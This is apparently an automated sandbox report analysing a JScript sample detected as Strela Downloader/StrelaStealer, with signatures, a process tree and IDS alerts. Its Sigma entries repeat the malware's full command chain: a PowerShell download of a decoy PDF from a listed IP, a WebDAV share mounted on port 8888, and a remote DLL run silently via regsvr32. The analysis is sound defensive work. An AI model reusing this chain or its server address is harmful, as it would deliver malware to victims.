Edit tour

Windows Analysis Report
22964327542023110895.js

Overview

General Information

Sample name:	22964327542023110895.js
Analysis ID:	1588734
MD5:	8acd8f57ab700511342f3b5ab5072643
SHA1:	0737e614e8737eed6df93393df548d1c00d8a188
SHA256:	c8a06706c0dfa4339677b03476e1d98bc3fc70008d88bee753042154f78fc142
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7544 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7600 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7652 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7896 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8116 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5344 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,2079297078306945465,16777750773246910103,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7924 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8016 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8188 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7544	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7652, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7652, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", ProcessId: 7544, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8016, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 7600, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 7600, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 7600, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 7600, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 7600, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", ProcessId: 7544, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7652, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7924, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8016, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8188, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7924, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8016, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22964327542023110895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7544, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3141767929092.dll, ProcessId: 7600, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:48:18.625223+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:48:21.546060+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T04:48:18.625223+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 22964327542023110895.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 22964327542023110895.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:48:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 